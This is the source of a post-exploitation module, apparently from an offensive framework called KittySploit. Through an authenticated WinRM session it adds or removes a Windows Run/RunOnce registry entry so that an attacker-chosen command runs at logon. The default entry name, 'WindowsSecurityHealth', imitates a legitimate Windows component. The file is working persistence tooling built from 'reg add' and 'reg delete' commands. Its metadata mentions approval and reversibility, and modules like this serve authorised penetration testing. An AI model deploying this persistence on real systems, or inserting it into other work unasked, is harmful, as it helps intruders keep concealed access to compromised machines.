WinRM Persistence Run Key
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.protocols.winrm.winrm_session_mixin import WinRMSessionMixin
class Module(Post, WinRMSessionMixin):
__info__ = {
"name": "WinRM Persistence Run Key",
"description": "Add or remove a Run/RunOnce registry persistence entry via WinRM",
"author": "KittySploit Team",
"platform": Platform.WINDOWS,
"session_type": SessionType.WINRM,
"references": ["https://attack.mitre.org/techniques/T1547.001/"],
"agent": {
"risk": "intrusive",
"effects": ["active_exploitation", "persistence"],
"expected_requests": 2,
"reversible": True,
"approval_required": True,
"produces": ["risk_signals"],
"chain": {
"consumes_capabilities": ["authenticated_session"],
"produces_capabilities": ["persistence"],
"suggested_followups": [],
},
},
}
value_name = OptString("WindowsSecurityHealth", "Registry value name", True)
command = OptString("", "Command to store in the Run key", True)
hive = OptChoice("hkcu", "Registry hive", True, choices=["hkcu", "hklm"])
run_once = OptBool(False, "Use RunOnce instead of Run", False)
remove = OptBool(False, "Remove the value instead of creating it", False)
def run(self):
try:
name = str(self.value_name or "").strip()
if not name:
raise ProcedureError(FailureType.ConfigurationError, "value_name is required")
hive = "HKCU" if str(self.hive or "hkcu").lower() == "hkcu" else "HKLM"
key = "RunOnce" if bool(self.run_once) else "Run"
reg_path = f"{hive}\\Software\\Microsoft\\Windows\\CurrentVersion\\{key}"
if bool(self.remove):
print_status(f"Removing {reg_path}\\{name}...")
out = self.cmd_execute(f'reg delete "{reg_path}" /v "{name}" /f') or ""
print_info(out.strip() or "(no output)")
print_success("Run key value removal requested")
return True
cmd = str(self.command or "").strip()
if not cmd:
raise ProcedureError(FailureType.ConfigurationError, "command is required")
print_status(f"Writing {reg_path}\\{name}...")
out = self.cmd_execute(f'reg add "{reg_path}" /v "{name}" /t REG_SZ /d "{cmd}" /f') or ""
print_info(out.strip() or "(no output)")
print_success("Run key persistence installed")
return True
except ProcedureError:
raise
except Exception as exc:
raise ProcedureError(FailureType.Unknown, f"WinRM run key error: {exc}")
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17 Jul 2026 05:31Current
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